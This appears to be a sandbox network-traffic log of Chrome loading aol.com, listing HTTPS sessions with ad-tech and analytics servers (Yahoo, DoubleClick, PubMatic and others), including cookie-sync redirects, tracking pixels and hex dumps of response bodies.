2024-05-23 22:35:00 UTC	1371	IN	Data Raw: 68 2f 69 6d 61 67 65 2e 6a 70 65 67 2a 7e 68 6d 61 63 3d 64 65 66 36 38 37 39 64 35 32 34 33 32 30 35 34 66 34 65 31 66 39 64 35 62 65 64 37 65 30 61 35 34 37 31 39 38 37 38 64 64 30 35 30 33 37 65 36 64 64 32 61 64 37 37 39 30 34 32 36 32 38 64 33 0a 0a 30 30 3a 32 30 2e 30 30 30 20 2d 2d 3e 20 30 30 3a 32 35 2e 30 30 30 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 69 6d 61 67 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 6d 61 69 6e 2f 34 38 30 78 32 37 30 2f 32 30 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 65 67 3f 61 6b 61 6d 61 69 5f 74 6f 6b Data Ascii: h/image.jpeg*~hmac=def6879d52432054f4e1f9d5bed7e0a54719878dd05037e6dd2ad779042628d300:20.000 --> 00:25.000https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/20s/match/image.jpeg?akamai_tok
2024-05-23 22:35:00 UTC	1371	IN	Data Raw: 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 6d 61 69 6e 2f 34 38 30 78 32 37 30 2f 33 35 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 65 67 2a 7e 68 6d 61 63 3d 39 39 36 61 64 66 64 38 62 38 38 33 35 39 30 35 30 38 66 36 63 36 61 33 66 39 65 31 35 38 39 61 39 32 35 39 62 36 32 36 61 33 33 65 66 35 38 32 35 31 63 35 33 32 30 66 30 32 63 66 31 63 30 36 0a 0a 30 30 3a 34 30 2e 30 30 30 20 2d 2d 3e 20 30 30 3a 34 35 2e 30 30 30 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 69 6d 61 67 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f Data Ascii: e/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/35s/match/image.jpeg*~hmac=996adfd8b883590508f6c6a3f9e1589a9259b626a33ef58251c5320f02cf1c0600:40.000 --> 00:45.000https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/
2024-05-23 22:35:00 UTC	977	IN	Data Raw: 36 64 63 62 39 36 39 31 65 2f 6d 61 69 6e 2f 34 38 30 78 32 37 30 2f 35 35 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 65 67 3f 61 6b 61 6d 61 69 5f 74 6f 6b 65 6e 3d 65 78 70 3d 31 37 31 36 35 31 36 39 38 33 7e 61 63 6c 3d 2f 69 6d 61 67 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 6d 61 69 6e 2f 34 38 30 78 32 37 30 2f 35 35 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 65 67 2a 7e 68 6d 61 63 3d 65 39 39 66 64 66 63 66 62 65 63 38 32 37 39 62 36 31 61 65 32 64 64 31 66 30 37 65 65 30 61 38 35 39 63 63 66 62 39 34 30 61 39 38 37 34 66 37 32 30 31 66 34 37 32 33 38 66 61 66 35 34 66 37 0a 0a 30 31 3a 30 30 2e 30 30 Data Ascii: 6dcb9691e/main/480x270/55s/match/image.jpeg?akamai_token=exp=1716516983~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/55s/match/image.jpeg*~hmac=e99fdfcfbec8279b61ae2dd1f07ee0a859ccfb940a9874f7201f47238faf54f701:00.00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.6	50097	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	1593	OUT	POST /p?s=1197805788&t=jLxDgd7bQMcGFv63,0.19286408784412168&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503699%04A_prems%03166%04_E%03dwell%04_ts%031716503699%04_ms%03236%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:00 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:00 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:00 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:00 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.6	50104	164.132.25.180	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	716	OUT	GET /api/sync?callerId=15&redirectUri=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dsad%26i%3D%5Bssb_sync_pid%5D&gdpr=0&gdpr_consent= HTTP/1.1 Host: ssbsync.smartadserver.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	321	IN	HTTP/1.1 302 Found content-length: 0 date: Thu, 23 May 2024 22:34:59 GMT location: https://usersync.gumgum.com/usersync?b=sad&i=8330378466080050028 set-cookie: pid=8330378466080050028; expires=Mon, 23 Jun 2025 22:34:00 GMT; domain=smartadserver.com; path=/; samesite=None; secure; samesite=none connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.6	50100	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	768	OUT	GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC=19cw~2ila
2024-05-23 22:35:00 UTC	777	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:00 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: https://www.aol.com Access-Control-Allow-Credentials: true Set-Cookie: IDSYNC="19cw~2ila:19e0~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:00 GMT;Secure;SameSite=None Vary: Origin P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:00 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:00 UTC	66	IN	Data Raw: 33 63 0d 0a 7b 22 61 78 69 64 22 3a 20 22 65 53 31 44 52 56 42 68 64 46 59 31 52 54 4a 31 53 45 78 58 65 46 46 4b 57 48 4a 73 62 7a 4d 30 65 48 4a 35 61 6d 74 52 4f 55 39 43 4e 48 35 42 22 7d 0d 0a Data Ascii: 3c{"axid": "eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B"}
2024-05-23 22:35:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.6	50112	15.197.193.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	732	OUT	GET /track/cmf/generic?ttd_pid=pubmatic&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAEYBSABKAIyCwji2t736eD9PBAFOAE.
2024-05-23 22:35:00 UTC	625	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:00 GMT Content-Length: 355 Connection: close server: Kestrel location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=8369ae03-bf51-422b-a15c-33306b0e1dfe&gdpr=0&gdpr_consent= set-cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; expires=Fri, 23 May 2025 22:35:00 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFGAEgASgCMgsInoGWherg_TwQBTgBWghwdWJtYXRpY2AC; expires=Fri, 23 May 2025 22:35:00 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-23 22:35:00 UTC	355	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 49 34 4e 44 6b 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 Data Ascii: Redirecting to: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=8369ae03-bf51-422b-a15c-33306b0e1dfe&gdpr=0&gdpr_consent=">https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.6	50118	34.111.129.221	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	619	OUT	GET /cr?key=pubmatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: cr.frontend.weborama.fr Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	749	IN	HTTP/1.1 307 Temporary Redirect Server: Weborama Collect Frontend Date: Thu, 23 May 2024 22:35:00 GMT Content-Length: 0 Location: https://cr.frontend.weborama.fr/cr?key=pubmatic&gdpr=0&gdpr_consent=&bounce=1&random=1818656517 Vary: Origin Access-Control-Allow-Origin: * P3p: CP="NOI DSP COR CURa DEVa PSAa OUR STP UNI DEM" Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0 Pragma: no-cache Expires: Tue, 03 Jul 2001 06:00:00 GMT Last-Modified: Thu, 23 May 2024 22:35:01 GMT Set-Cookie: AFFICHE_W=YFuQnmToqQ5g67; expires=Fri, 20 Jun 2025 22:35:01 GMT; domain=.weborama.fr; path=/; secure; SameSite=None Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.6	50116	104.22.50.98	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	666	OUT	GET /mw?zpartnerid=1384&env=mWeb&gdpr=0&gdpr_consent=&cid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177 HTTP/1.1 Host: mwzeom.zeotap.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	582	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:01 GMT Content-Type: image/png Content-Length: 95 Connection: close access-control-allow-credentials: true access-control-allow-headers: * access-control-allow-origin: https://ads.pubmatic.com set-cookie: zc=3c586e8a-00b9-440a-7eed-0404968c85c6; Path=/; Domain=.zeotap.com; Max-Age=31536000; SameSite=None; Secure vary: Origin via: 1.1 google CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=2592000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 888884435f77c448-EWR
2024-05-23 22:35:01 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.6	50106	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	722	OUT	GET /pixel?google_nid=triplelift&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	829	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cm.g.doubleclick.net/pixel?google_nid=triplelift&google_cm=&google_sc=&gdpr=0&gdpr_consent=&google_tc= Date: Thu, 23 May 2024 22:35:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 327 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Thu, 23-May-2024 22:50:01 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:01 UTC	327	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 74 72 69 70 6c 65 6c 69 66 74 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 6d 3d 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 73 63 3d 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cm.g.doubleclick.net/pixel?google_nid=triplelift&google_cm=&google_sc=&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.6	50105	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	786	OUT	GET /setuid?bidder=gumgum&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:01 UTC	840	IN	HTTP/1.1 200 OK content-type: text/html set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifX19; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:01 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 0 date: Thu, 23 May 2024 22:35:01 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.6	50109	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	790	OUT	GET /pixel?google_nid=pmeb&google_sc=1&google_hm=vQ3hnAnUS2KhiEag0ubBdw%3D%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-05-23 22:35:01 UTC	983	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&gdpr_consent= Date: Thu, 23 May 2024 22:35:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 301 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUlTPfxBCoAZuVtRzeaWJpTNuB_rvOpnfnMSqVuJ9orc5AA6RQ_0DbxXrR8rXp0; expires=Sat, 23-May-2026 22:35:01 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:01 UTC	301	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 64 73 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 6a 73 2f 75 73 65 72 5f 73 79 6e 63 2e 68 74 6d 6c 3f 70 3d 31 35 36 35 37 38 26 61 6d 70 3b 70 72 65 64 69 72 65 63 74 3d 26 61 6d 70 3b 67 64 70 72 3d 30 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&

